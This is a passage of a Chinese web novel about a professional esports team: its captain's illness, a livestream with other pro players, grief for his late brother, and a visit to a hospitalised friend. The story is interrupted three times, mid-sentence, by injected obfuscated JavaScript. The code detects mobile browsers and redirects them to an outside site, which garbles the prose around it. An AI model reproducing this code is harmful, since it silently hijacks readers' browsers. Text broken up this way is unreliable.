下楼去吃饭时,阿姨做的依旧是营养餐,色香味俱全,就是看起来有些清淡,顾听去冰箱拿了一罐辣椒酱。 老爸在微信上给他说了的第二天,包裹就寄到了基地。老妈做了足足两大罐,透明的盒子被辣椒的鲜红沾满,他带给宋星辞一罐,陈述那天看见差点嘎嘣一下死了。 “哎!就好这口!”魏寻也眼睛放光,比顾听还迫不及待地用调羹儿挖了一大勺裹在米饭上。 “你们来一点儿吗?”顾听询问三个南方队友。 “来点儿吧。”彭于渺用公筷真的只蘸了一点点。 “队长,我记得老干妈是不是你们贵州的?”陈述问,等彭于渺的反馈。 “是的,”顾听说,“那个很好吃。” “你尝尝,不辣,”彭于渺下颌示意陈述去蘸一点儿,“真不辣,很香。” 陈述想试又不敢试的,最终在彭于渺的怂恿下还是试了,顿时少年的脸红胜过一切。 “你脸红个泡泡茶壶啊。”魏寻也啧了声。 “啊!”陈述吐着舌头,“我操,鱼苗姐你骗我!” “不准说脏话!”楼上传来老韩的声音。 陈述痛苦面具,顾听顺手给他倒了一杯凉水,然后撑着下颌看着他,莞尔说,“这么辣哇?” 暖色调的顶光照在顾听脸上,粉色狼尾泛出柔和光泽,嘴角弯起浅浅弧度,整个人透露着温柔和煦的气息。 陈述觉得队长长这么一张脸很难和能吃辣联系在一起,喜欢吃那种才出炉的香甜小饼干和甜品还差不多。 “超辣。”陈述眼泪汪汪。 “樊哥,你要吗?”顾听又问在一旁没参与他们话题的樊宇卿。 青年拒绝说,“不要,谢谢。” 阿姨给他们端了两盘切好的水果,看到桌子上的辣椒酱,吃惊地说,“呀,这个可不能多吃,到时候会胃疼的,要是犯了肠胃炎怎么办?” 基地在饮食这方面比较严,偶尔吃吃没什么,一大罐辣椒看着还是有些吓人。 “我们吃得少,吃得少阿姨,”顾听对她笑着说,“有分寸的,你放心。” 到底都是些年轻的孩子,阿姨心挺软的,小声说,“营养餐清淡吃起来是没什么味道,改天我给你们做些合口味的。” “谢谢阿姨。”顾听眨了眨长睫说。 吃过饭他们又去训练室训练,一直到凌晨两点才结束。 做完手操后魏寻也他们眼皮都要打架了,彼此互道晚安便回到房间休息,训练室只剩下顾听一个人。 他收拾自己的外设总是很慢,这会儿明明已经全部弄好了,却还想再坐几分钟放空。电脑屏幕上的安雅还举着枪,时不时的人物角色动作像是陪他互动。 那一年,SAB还叫WKE。 “我叫顾越,idCross,他叫顾听,idListen,是我的弟弟。” “你的意思是,面前这两个少年一个15岁,一个14岁,亚服榜第一第二是吗?”高层不可置信地问。 正处于发育期的男生身材修长抽条,一岁之差,哥哥比弟弟要高上一个头,兄弟俩面容俊秀清隽,浑身上下透露出风华正茂的肆意。 老韩领着他俩参观完基地,“今天所谈的内容有什么不懂的可以问我。” “多久能打比赛?”顾越问。 “KG打职业的官方年龄在16岁,但一切都得按流程来,你和你......弟弟首先得通过青训,然后考核进入二队,如果新秀赛挑战成功,就可以成为一队首发队员,挑战失败,会顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507012|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位一队替补。” 宿舍四人间,晚夏蝉鸣热烈,剩下的两个青训队友还没来。两兄弟在家时,顾听不想爬床所以睡的是下床,到这里来了,上下床不比家里的好爬,踩脚的是光滑铁杆,踩着上床脚很疼,顾越问都没问顾听直接选择了上床睡。 少年穿了件白色背心和短裤躺在床上,有一搭没一搭地用不知道哪里找的纸壳扇风,懒洋洋地说,“小听,贵州到上海好远啊,坐火车坐的我屁股都麻了。” “嗯,我也是。”顾听耳朵里戴着耳机,点头回。 “有点想家了呢。”顾越说。 “我也是。” “.....大城市的楼好高。” “就是。” “小听,转人工,”顾越幽幽地说,“我不要卡皮巴拉弟弟。” 顾听踢了下他的床板,没有回了。 一年的训练时间,两兄弟进步迅速,从青训一路杀到一队,却面临了一个问题。 当时新秀赛他俩并肩第一,都可以进入的一队打首发,不过顾听才15岁,年龄不够官方设定的职业选手,WKE想让他待在二队等年龄够了上场,可已经有了顾越。 WKE根本舍不得放手两兄弟任何一个,害怕得罪了弟弟,哥哥就不干了。 顾听主动提出单挑。 新秀赛即使并肩第一,可说明不了什么,他和他哥面临的对手不同,自然水平也不同。 他想试试看,能不能打赢他哥。 于是这场双子星世纪单挑至今供KG玩家参考。 最终顾听不敌顾越,甘愿当哥哥的替补。 顾越16岁首发一路垄断胜利,17岁拿下第一个世界冠军,18岁当上WKE的队长,带领战队迎来了属于它的荣耀巅峰王朝。 他将毫无意义和根据的战队名提出改名。 管理层还有什么话能反驳呢?天才不多,双子星更是少得可怜,名字嘛,改就改吧。 可怎么改? 顾越将这则任务全权交给了顾听。 那时少年穿着队服,沐浴在阳光下双手支撑着脑后,就连长睫毛都沾染金灿的光,沉吟片刻,对他哥说,“SAB,Sweep all before one。” 学渣如顾越,怔然说,“啥意思?” “所向披靡。” “这个意义不错,不过以后可能会被骂成花样来。” 两个少年相视而笑,后来越笑越大声。 顾越的梦想就是拿世界第一的冠军奖杯,冲击大满贯。顾听很喜欢《灌篮高手》里面的宫城良田。 总有一天,我会成为神奈川第一控卫。 他的梦想很简单,总有一天,我会成为世界第一突破手。 “小听,小听?” 顾听被人摇醒,缓缓睁开眼,映入眼帘的是顾越那张朦胧的脸,随着时间,眼前景象越发清晰。 “怎么在训练室睡着了?”顾越用后背探他的额头,“幸好暖风开着,不然明天等着感冒吧,不对,已经是今天了,四点了。” “几点了?”顾听嗓音沙哑地问。 “凌晨四点了,”顾越无奈地说,蹲下身,“快上来,哥背你回去睡觉。” 之前训练晚了,顾越也是这样将他背着,就一楼的距离,少年沉稳的步伐让他能在短时间内趴在他哥背上睡着。 12.第 12 章 今早醒来时,顾听人都是懵的,大脑胀疼,昏昏沉沉口干舌燥,嗓子眼儿更是痒得不行。 凌晨两点训练完何时背靠电竞椅睡着的他都不知道,一眯就已经到了四点。训练室暖风开得足,可中途他嫌热就脱掉了队服,身上只套了一件卫衣,估计就是眯的那一会儿着了凉。 下床的感觉头重脚轻,顾听甩甩头,天旋地转的,差点儿又一跟头栽倒床上去。 确信是真感冒,洗漱好后他特意戴了口罩才出门。 “早上好,鱼苗姐。”餐桌只坐着彭于渺一个人,顾听看见她打了声招呼。 “天,你这个嗓子,”彭于渺瞧他这模样,神情担忧,“吃完饭去医务室找队医看看,好像发烧了......” 顾听点点头,盛了碗阿姨熬得粥,摘掉口罩用餐。他皮肤白,两侧脸颊泛着绯红,只要一发烧很容易看出来。 “哎哟,是真发烧了,”彭于渺看着他说,“冬天流行性感冒高发期,二队五个队员有三个都中了招。” “啊,唉,”顾听小口啜粥,那双桃花眼湿润浸沾长睫,随着眨眼的动作相连又分开,像哭过,“那我必须得把口罩戴好了,免得传染给你们。” “待会儿我陪你去医务室吧。”彭于渺实属不放心,害怕他去医务室的路上晕过去。 “不用,”顾听对她笑笑,“我自己可以的。” “你可以个屁,”顾越没好气地说,“哪次不是我送你去的医务室?打针还要哭鼻子。” “队长?” 彭于渺不解地出声喊顾听,他左侧着头,愣神发呆,手中的调羹儿悬在碗边也不吃。 “嗯哼?”顾听正过脸,“怎么了?” “没怎么。”彭于渺笑了笑说。 基地配的有队医,方便选手出了什么意外开药诊治。 顾听还是一个人去的医务室,汪医生见他来从电脑中起身,问,“哟,你也中招啦?” “没错,喜提大发烧,”顾听回,可怜巴巴地说,“可以不打针吗?” 汪医生失笑 ,“得量过体温再说。” 顾听长啊了声,接过温度计含在嘴里。 “平常训练也不能一直窝在室内,出来走走呼吸新鲜空气嘛,你们训练的空间太小了,空气本来就不流通,”汪医生喋喋不休,“青训生也感冒了几个,二队几个,一队目前只看见你一个......” 顾听没法开口说话,用鼻音嗯嗯地回着,脑后有一撮立起来的粉毛配合他点头晃动。 差不多到时间了,他取下来自己先瞅了一眼,“37度.....8?”还不算太高,应该不用打针。 “拿来我看看,”汪医生伸出手,仔细观察着,无语道,“38度8。” 顾听噘了噘嘴,“我不打针哦。” “小孩子才怕打针,”汪医生揶揄说,“嗯,我能理解。” 他给顾听开了药,又让他额头贴上退烧贴,“等烧退了再训练吧,不着急哈。” 战队对于选手生病这方面做的还挺人性化,不会强制性要求选手带病训练,无论如何身体才是革命的本钱。老韩得知顾听感冒发烧,让他先回房间休息。 “这是谁家的小可怜儿。”顾越蹲在床前看他,叹了口气说。 “......哥。”顾听小声喊。 “在呢,”顾越给他掖好被角,一只大手覆盖弟弟的额头,隔着手背用自己的额头碰了碰,“感冒感冒快走开,让小听快点快点好起来。” 顾听伸手想去触碰他哥的脸,可摸到的却是虚无。 他抿了抿唇,缓缓地搁下手。 这一觉睡得无比踏实,再醒来烧已经完全退了。只是浑身都被出的热汗包裹着,睡衣黏湿在皮肤上,很不舒服。 顾听拖着发烧过后的虚软身体去冲了个澡。 昏睡期间魏寻也进来照看过他一阵子,给他换退烧贴倒热水,他那会儿意识不太清醒,迷糊地发出哝语。 肚子很饿。 顾听穿得严严实实下了楼打算去找些吃的,出门前依旧把口罩戴着,阿姨见到他下来,招手说,“听到他们说你生病了,专门给你炖了清淡点儿的菌汤,快来尝尝。” “谢谢阿姨。”顾听说。 “别客气。”阿姨笑着说,“噢对了,你的饭我单独给你弄了一份,嗯.....稍微比他们丰盛一点儿吧。” “病号专属饭吗?”顾听乐道。 “差不多,那青训生和二队生病的食堂也特意弄的病号餐。”阿姨说,“我前些天也提醒我女儿多穿点衣服来着,害怕她感冒了。” 训练完到了饭点,楼上传来聊天的动静,顾听非常清晰地听见陈述敲他房门疑问句,“哎,我队长呢?” 估计喊他吃饭。 “我在楼下。”顾听铆足劲儿大声说。 “啊!队长你好些了吗?”陈述大声回。 “吼什么吼,不能下去说吗?”又是老韩的声音。 “嗯,精气神儿有了,”魏寻也走来探他额头,“烧也退了。” 顾听咳嗽两声赶紧戴上口罩,“就是,魏哥你们离我远些。” “怕什么,我们当中就陈述的体质最差,”彭于渺径直坐到他旁边儿,开始给他摆八卦,“你下午没训练,还错过一件——” 她看了看面色不虞的樊宇卿,“趣事儿。” “嗯?”顾听竖起耳朵,“什么趣事儿?” “那个UNP的游迩有大病吧!操!”樊宇卿火气旺盛,不顾不准骂脏字儿的队规,“傻逼,纯粹是傻逼!” 顾听一愣,樊宇卿脾气不太好是他才入队就比较清楚的事,但更多时候他都见的是樊宇卿阴阳怪气人,今儿破口大骂想来是那位天才少年把他气得不轻。 “嘘,嘘,”陈述倒挺急,“樊哥,老韩和教练还在上面。” “到底发生甚么事儿了?”顾听又问。 他们训练多数拿的大号,不像可以大小号换着打,服务器还是国服,所以训练非常轻而易举地撞车其他战队,切换国际服没准儿还能撞车欧服的战队。 今天下午樊宇卿连撞四把UNP的游迩,四把皆输,他在国服排名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509949|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第五的位置直接掉到了国服第十。 心态直接被那个游迩搞崩了。 若同位打反侵的位置,竞圈中的竞粉总是会拿来作比较,樊宇卿初打比赛的反侵者全华班无人能敌,他的年龄说新不算新,自游迩从美国SPD转到UNP,他反侵者再也没有登顶国服第一。 粉丝嘲,宇宙老啦,手速跟不上年轻人啦。 看到这种言论多了,樊宇卿自认并不是什么大度的人,心里挺窝火的,就三字,凭什么。 今天又撞了几把车,相当于火山撞地球,一触即燃。 “樊哥,你.....喷他了?”顾听有些震惊。 “对,我就是喷他了,”樊宇卿食指点着桌子,“我不光喷他,我还举报他恶意匹配,怎么可能连续四把都能和他撞上?” KG的发言频道设定的有和谐违规词,早期这游戏才出来时爹妈祖宗满天飞,后来考虑到未成年的问题整改了很多,带脏词儿的基本都是*号。 樊宇卿有几条全*号,唯独一条你有毛病吧完全显示发了出去。 但是游迩没有回,不知道是没反应过来还是单纯的不想理,说起来樊宇卿还算得上是他的前辈。 游迩年轻,长得帅,实力强,回国一年迅速得到一大批竞粉,更别说他还有国外的粉丝,是KG中最具人气和商业价值的电竞选手,樊宇卿累积这么多年的粉丝可能都不一定打得过。 不用想,今天这几把训练微博和贴吧又会被喷成怎样的一副景象。 “举报成功没?”魏寻也问。 “没有,操他妈的。”樊宇卿紧紧蹙着眉,郁闷地说。 “有些话,你当着我们的面儿抱怨就行了,”彭于渺提醒说,“以后说不定免不了和他们战队的训练赛,而且在世界赛上UNP还夺了四强。” “这茬过不了我明说,”樊宇卿激进地说,“他这是无视前辈,没有一点礼貌,还非常高傲的一个人,说他天才还真把自己的尾巴翘天上去了。” “别生气了樊哥,”顾听这个当队长的,安抚队友的情绪也在他的职责当中,“小孩儿嘛,下手都没轻没重的,你别跟他斤斤计较。” “队长说得对,”陈述点点头,“樊哥,犯不着生气,那我有时候还被其他战队的前辈虐呢。” 上海UNP电子竞技俱乐部,灯火通明。 “你虐樊宇卿干嘛,”UNP战队里的张诺,应该是一队上下都知道了这件事,放下冲浪的手机问,“报你上回被他们队长杀了19次的仇?” “不是,”游迩的定制耳机挂在脖颈,直截了当淡然地回,“他很菜。” 进训练室的穆柠刚好听见这一句,他队内位置是爆破手,佯装吓了一跳撤回身体,“哦哟,说谁菜呢?” “反正没说你,”张诺看了他一眼,又回过头来说,“那也是你前辈呀,我看今天他把你给喷的......” 手机提示音叮铃一声,音调很特别,像是某种特殊铃声。游迩拿起来瞄了眼,界面弹出一条黄色软件的消息。 您关注的主播开播啦。 13.第 13 章 【突如其来的开播】 【小卡晚上好呀】 【几天不见甚是想念,我的电子榨菜啊呜呜呜】 【小卡那天的训练赛打的非常棒哇!】 【棒是棒,但还是架不住贴吧那群人辱骂】 【你们队的樊宇卿下午撞车Ear不敌,疯狂喷人家是有什么大病吗?】 【谁骂的找谁去,跑Listen这里干啥,又不是他骂的】 顾听开播向来热度飙升很快,弹幕实时刷屏,他看了半天,确定眼花缭乱看不清楚挑不出能回复的话来,便对着镜头说,“晚上好哦。” 他刚登录大号,游戏界面右方立马就弹出零域战队队长周栖梧的双排邀请。 没有任何犹豫,顾听同意进入双排房间,喊了声,“栖梧哥。” “哎,小听听,”周栖梧并不知道他在直播,自然平常地说出他的称呼,“带我上两把分儿吧,冲到两千我就去稳巅峰赛了。” “嗯呢。”顾听说。 周栖梧和他哥的关系很好,曾几何时经常会一起双排。要说如何认识的,还得追溯到顾越第一场常规赛的首发就是对战零域战队,周栖梧id凰鸟,名字和id都代表着涅槃重生的凤凰,在KG联盟中他的技术也被称为不死者,意思是他出战以来的角色死亡次数为0。 很多人觉得悬乎,可的确为事实,当时华国战区最看好的苗子就是周栖梧。 而顾越终结了他的涅槃。 【小听听,凰鸟竟然喊这么亲昵的称呼】 【你们不知道吗,全华班的战队都把小卡喊小听听】 【这很宠了】 【这很宠了】 【这很宠了】 “栖梧哥,你想玩儿什么图?”顾听问。 “我都可以,看你,”周栖梧说,“你不是喜欢寒港吗,就寒港吧。” “好。”顾听说。 上回在寒港撞车到了UNP的游迩,顾听扫了眼两方队伍,这回没再撞到了。 想什么来什么,周栖梧笑着问,“我那天在群里看到,就是在这张图你把那个UNP战队打反侵的Ear杀了19次?” “唔,是的。”顾听轻描淡写地回,就像平静的白开水。 “哈哈哈,好想知道他的表情,”周栖梧乐得不行,“听说他脾气有点傲哎。” 【凰鸟,你笑得过于大声了[狗头]】 【咪的天,在直播啊栖梧哥!】 【谁去叫他谨言慎行一下,直播cut让营销号发表Ear粉丝不得去冲凰鸟】 【我刚去看了,今晚他没直播】 “栖梧哥,我在——”顾听刚准备提醒周栖梧,榜一688哥接二连三地砸来礼物,“直播,谢谢688哥。” 【用户688送出至尊嘉年华×15】 【用户688送出热气球×10】 【用户688送出豪华游艇×20】 【用户688送出梦幻城堡×20】 “噢,噢,好的好的。”周栖梧连忙应道。 【用户688:你是不是有点感冒?】 一条vip的弹幕显眼地飘过。 顾听一怔。 其实烧退了以后他的状态和平常没有两样,上镜的脸庞气血已经上来了,看不出病容,688哥可真是火眼金睛,主业其实是医生吧? “额,没有吧。”顾听自觉已经好了。 【用户688: 医生:你怎么了? 卡皮巴拉:没事 医生:你病得不轻了 卡皮巴拉:没事】 【妈呀688哥哈哈哈哈哈哈哈哈】 【688哥咋这样】 【我不行了,是小卡能说出来的话!】 【小卡不乘哦,发完烧还给我们直播,要好好休息呀!】 【这么一看小卡真感冒了吧,那脸红的咧】 顾听见688哥发的这条也看笑了,桃花眼弯弯,嘴角梨涡显现出来,镜头里的他明媚又动人,仿佛回到当初灿烂恣意的青葱少年。 “好吧,下午有一点发烧,不过我现在完全好了。”他说。 “什么?你发烧了?”周栖梧听到问,“我跟你说我们战队的除开我基本都中过招了。” “下午那一阵儿,”顾听说,“栖梧哥你一定要好好防护,不要当儿戏。” “我国防身体。”周栖梧自我意识良好说。 “你等他嘴硬,”顾越躺在床上嘁声,“真生病就老实了。” 顾听笑了笑对周栖梧说,“防患于未然叭。” 【用户688:早点休息。】 “嗯,你也是。”弹幕又飘过一条vip,顾听回复完,688哥就退出了直播间。 顾越跳下床,搬了张椅子坐旁边观战,双手攀在脑后叹气感慨,“好久没跟这家伙打游戏了,有点怀念呢......你把战绩面板调出来我看看。” 顾听闻言,鼠标点击面板。 “凰鸟9-0-12,我弟15-1-6,不错,”顾越拍拍顾听的肩,“你看吧,就只有我能打死他。” 周栖梧队内位置协防,游戏机制设定协防者不容易被击杀,毕竟奶妈属性在那儿,但不代表不会死,周栖梧开辟了一条史无前例的道路,张诺都稍逊他一筹,除开顾越终结,可以说他是世界顶级协防者之一。 “对。”顾听声音轻的几乎听不见,只能看见他的嘴唇在动。 “小听听,夜间模式了,”周栖梧嗓音有些兴奋,“走,我带你去看极光。” 夜间模式启动只有寒港这张图有,顾听喜欢寒港还有个原因,就是能看见极光,即使是假的吧。 当年KGS8赛季更新完,顾越迫不及待地带他来体验新图,甚至神经质地叫他对着电脑里的极光许愿。 “以后不打游戏了,哥带你去挪威看真正的极光。” 【小卡愣神了,是想到哥哥了吧】 【痛】 【这张图对他来说有很大的意义】 【想哥哥了】 【别说了,我都要哭了,我都不知道他是怎么坚持下去的】 【所以SAB管理层不做人啊,把一个19岁的少年推出去,KWC未能夺冠的锅全让Listen背,良心不会痛吗】 【痛屁啊,人资本看中的是商业价值】 【他最新的微博评论我到现在都不敢点开】 “嗯呢。”顾听操作角色坐上雪橇车。 [防卫队-爆破手:两位大神能不能把我也带上!] [防卫队-狙击手:我也要!!!] “还有我还有我,”勇敢的孩子已经开了麦,“Listen和鸟神补药扔下我们哇!” “鸟神是什么鬼?”周栖梧回复反侵者的话,打趣说,“唉,另外两个队友等我找辆皮卡啊,id叫我不是小学生的你自己找车吧。” “男神!男神我说错了!”反侵者激动地吼,“周栖梧,你是我滴神!听神你帮我说句话,我爱你们两个!” “麦炸了,这位小学生同学咱们声音放小一点好不好?”顾听笑着温声说,“我马上就帮你哦。” “OKOK,”反侵者声音小到成了气音,“听神你最好了,当然我男神也是。” 【Listen幼教出生的吧,哄宝宝呢这是】 【我也想被哄】 【好温柔】 顾听率先找到一辆皮卡车,副驾驶坐了一个,KG的游戏背景全是采用3D模仿现实的实况,天上雪花飘落,北风呼呼地吹着后面货箱的三个队友,宛如置身雪景。 这会儿他们没有对游戏的胜利,全是去看极光的渴望。 “注意点儿啊,别被掠夺队他们狙击到了。”周栖梧说。 [全部]掠夺队-突破手:不会打你们的凰鸟,我们都在看Listen的直播呢 [全部]掠夺队-反侵者:在极光等你们哟,到时候合张影可以嘛? [全部]防卫队-Listen:当然可以QvQ 顾听没有见过极光,但从游戏中能感觉到很漂亮的景象,现实中应该是无与伦比的美丽的存在?肯定是的。 墨蓝的夜空里,一道淡绿的光亮从天际漫开来,边缘还晕着淡淡的粉紫。KG请的这位CG画师技术高艺,竟能复刻出如此曼妙虚空的画面。 顾听数不清楚对着电脑许过几次愿,即使看了很多遍也丝毫没觉得无聊疲倦。顾越才提出来这种要求时,他觉得非常幼稚,纵然没有人在身旁用手指着屏幕,他还是不太习惯。 心中那块空落落的位置,永远也填补不了了。 “你猜我每次许的什么愿?” “什么?” “小听永远开心。” “你猜我的。” “我们兄弟二人之志可吞并天下!” “......哥哥也是。” 极光位于寒港地图的边缘,雷讷小镇。 这条小镇的真实地点就在挪威罗弗敦群岛,听说CG师为此特意去采过样,所以呈现出来的视觉效果美轮美奂。顾听他们开着皮卡到达时,掠夺队三位成员已经让自己的角色乖乖站成一排,看起来略带诙谐。 [全部]掠夺队-协防者:Listen,凰鸟,打卡合影!!! 刚打完字,协防者的游戏角色对着他俩比了个心。 [全部]防卫队-Listen:等一下下OvO “栖梧哥,我觉得你的帽子好好看。”顾听说。 “帽子?什么帽子?”周栖梧一愣,继而反应过来,顾听说的是他角色埃比的帽子,他意会到顾听的小心思,笑着说,“给你戴戴?” 实话讲,KG官方出来新服饰的这顶帽子周栖梧也觉得好看,但是严格来说,不太适合男生买给角色,有点太......毛茸茸了,造型设计参考现实中的动物小猫,上面还有一对猫耳,颜色粉色,的确会吸引到顾听。 华国战区里,就他爱把枪战游戏完成奇迹暖暖,除开打扮本命角色安雅以外,突破手中的男女角色他都佩戴官方所出的限定款衣裳,只有限定款的品质比较好看。 “谢谢栖梧哥。” 顾听毫不犹豫地拾捡起帽子给洛狄戴上,粉粉的猫耳朵帽子很适配,可惜他错过了时间,没有买到。 [全部]防卫队-Listen:现在可以了qvq 几个人靠拢等待队友截屏,一眼望过去,顾听所操作的突破手洛狄穿得最奢华贵气,倒有些显眼。 【懂了,我出片儿也这样】 【找凰鸟借帽子原来是想美美的出片儿】 【小卡和我男朋友好像,他随时就爱捯饬他的那些皮肤,有时候还逼着我换装】 【他给你氪金吗姐妹】 【氪的,我和他账号的皮肤都是他买的】 【小卡的皮肤也超级超级多】 当然这幅和谐友好的场面并没有维持很久,前一秒还在截图纪念,后一秒开始爆发枪战,果然游戏的本质还是输赢。 哪一队先开枪的不知道,总之只剩下顾听和周栖梧存活。 “靠!他们不讲武德!”防卫队反侵者窝火地说,细听还能听见他砸键盘的声音,“能别这么阴吗。” [防卫队-Listen:没关系,帮你报仇] 耳麦的刺响声骤然平静下来。 素人玩家的情绪无时无刻可以外露,这是常态,顾听的身份尚未改变成职业选手时也会发脾气。 “好的Listen。”反侵者超小声。 “啧,你们听神该死的男友力,”周栖梧咂摸说,“以后找对象记得要找情绪稳定的,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515208|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到没直播间的小姐姐们。” 顾听没反驳,只是笑。不止一个人说过他的笑容具有感染力,尤其那两颗梨涡以及尖尖的虎牙,他哥经常用如沐春风来形容他的笑。 【听到了听到了!!】 【这个笑我不行了orz】 【感觉Listen好多粉都是事业粉,我不一样,我是梦女[狗头保命]】 【姐妹,我也素】 【我操当梦女你们是真头铁,待会儿那群听也解不得把你撕成傻子】 【还有磕双顾的,亲骨科她们是怎么磕得下去的?】 【哎哟憋说了,上次不小心看见双顾Cross嬷文把我恶心惨了,把小卡ooc成啥样了】 【什么竟敢嬷Cross??他那气质说是全华班左all也不为过[笑哭]】 【双顾cb向不好吃吗,我心中唯一的意难平就是KG双子星,现在想起来还难受】 【那我太小众了,我磕兄弟俩11恋】 弹幕逐渐往顾听看不懂的方向发展,零星夹杂着一些春季赛的问题,两个多小时过去了,他挑了几个能看懂的回复,而后便下了播。 想起白天汪医生对他的嘱咐,顾听起身倒了杯热水开了卧室里的窗子通风,又做了几个舒展筋骨的动作,掏出手机给宋星辞打了个电话。 忙音滴了很久,那边才接通。 “咋啦?你没训练吗?”宋星辞轻快地率先开口问。 顾听皱了皱眉,宋星辞的鼻音很重,装得不像。 “没有,我就是提醒你天冷加衣,别感冒了,”顾听说,“但是貌似提醒晚了,你是不是生病了?” “嗐,不愧是打K的,这都能被你听出来,”宋星辞说,“小感冒,已经弄了药,你别担心昂——17床,刚是你按铃吗?” 护士的声音突兀地插入听筒。 “你住院了?”顾听站直身体眉头紧皱,“哪个医院,我马上来。” “你别折腾了行啵,”宋星辞劝慰他,“哎是我。我真没事儿,就打点滴,打完我就回寝室了。” “星辞。”顾听没说多余语言,沉而缓地吐出两个字。 宋星辞读书读得早,17岁就参加了高考,同兄弟俩一样,选择了在上海读大学,从小一起长大的三人帮想的是彼此有个照应,不过....... “这小子骗骗骗,又骗。”顾越说。 宋星辞叹了口气,对顾听说了医院和住院楼层,“那你来嘛,噢,再给我带碗饭。” “行。”顾听笑了声。 他在微信上给老韩请了短暂的假说明情况,表示自己待会儿会回基地。大部分选手都住宿在俱乐部,方便更好的训练,所以也会像学校那样规则较为严格,一方面考虑到选手的自身安全,另一方面,是监督选手的自觉性。 无论哪个地区的职业选手,都有极恶劣的行为。昨年欧服才曝出来一位明星选手聚众吸毒,在打比赛时毒瘾发作,这件事影响范围扩展到国际服,后面电竞圈越抓越严,尤其是在华国。 顾听去地下停车场开车,坐在车里还没发动车子。 他保持着先前学车的那一套,系安全带,调整座位,拉手刹踩离合,哦现在这车C2已经没有了噩梦离合,一切准备完毕后,他听见他哥取笑。 “又给方向盘喂奶?”顾越坐在副驾驶好整以暇地看着他弟这一系列动作。 “闭嘴。”顾听目视前方,语气羞恼。 “等等——”顾越按住他的手臂,示意他先别发车,指着前方眯眼说,“那是樊宇卿吧?” 樊宇卿穿了件黑色羽绒服和黑色休闲裤,脸上还戴着口罩,侧前方的h5解锁的车灯闪烁,顾听才看清楚了车牌。 青年这一身穿搭,要不是车牌号,他还真没有认出来。 “他回家需要戴口罩?”顾越问,“他也生病了吗?” “没有呀。”顾听也感到疑惑,不知道的以为他要去干特务,把自己捂得严严实实的。樊宇卿和老婆结婚以后偶尔训练早的话,他会回家休息,但不至于像今天这么有......偷感。 “走了。”h5的车尾气扬长而去,顾越说。 “可能真感冒了吧。”顾听没有在意,出发去医院。 宋星辞已经咳嗽半个多月了,一直拖着没有去看,这两天检查结果出来急性咽喉炎,再拖下去恐怕肺部就会被病毒感染。 顾听给他带了清淡的粥饭和阿姨今儿专门给他熬的大骨汤,下车时也翻了一根口罩戴上。 来到病房,宋星辞正靠在床头抱着手机看直播,共四张床,除开他孤零零的没有人陪同输液,其余都有亲人或者家属。 可怜儿见的。 “还看呢,”顾听弯腰,凑近他张开手指在他面前晃了晃,“起来吃饭了。” 眼前突然映入一头粉毛,宋星辞吓了一跳,“我操!你来的好快!开飞车吧!” “你怎么知道,”顾听口罩上方的桃花眼笑意浓浓,“怕儿子饿死。” “滚滚滚,”宋星辞放下手机,扒拉食盒,肚子的饿意直冲脑门儿,都要饿晕了,“你说咋就那么巧呢,我今天刚入院你就打电话来了,那时我还震惊呢。” “这叫默契,傻子,”顾听瞥了他一眼说,“你室友呢?” “都陪女朋友,”宋星辞吃得含糊不清地说,“我这组液输完就没有了,不是大病懒得麻烦他们。” 顾听看着他,“那你给我打电话呀。” “我想着你在训练嘛,”宋星辞说,抬起头,“哎你们春节放假吗,到时咱俩一起回去。” “应该会放,可时间比较紧,春季赛2月19日就开始了,”顾听顿了顿,“我在考虑......回不回家。” 宋星辞喝了口大骨汤,没有说话。 那件事发生以后,谁都无法释怀。 14.第 14 章 打完一半点滴,宋星辞怕顾听身体不适,让他别陪在这儿了。医院是他俩都很讨厌的地方,却又不得不来,他闻不惯空气中浓重的消毒水味儿,顾听也是。 这地方容易让人滋生新生的希望,相反的,还会长成盘根交错藤蔓的梦魇。 宋星辞就是不想来医院,所以拖成了急性,当年顾越骂他是一头倔驴,现在轮到顾听说他,“逞什么强。” “不是逞强......”宋星辞抹了把脸,他叹气,看着顾听,彼此心照不宣,“算了。” 手机里的直播传来某主播高亢的嗓门,“四杀!!!还有谁!!!我操兄弟们,我极限了,这波真是我极限!” 顾听细听觉着声音有些熟悉,“你在看谁的直播呢?” “UNP的Lemon,哎我给你说,我最近挺喜欢他的,”宋星辞将手机翻转过来拿给顾听看,“你知道他的吧?” 顾听嗯了声,点头,“知道,穆柠哥。” “问个八卦的话,穆柠和魏寻也对上谁更强?”有个打电竞的兄弟好处此刻就体现在这儿了,不过宋星辞问得频率较少,偶尔遇到特别感兴趣可能会提上一嘴。 “不好评判,”顾听笑着说,“都很强。” 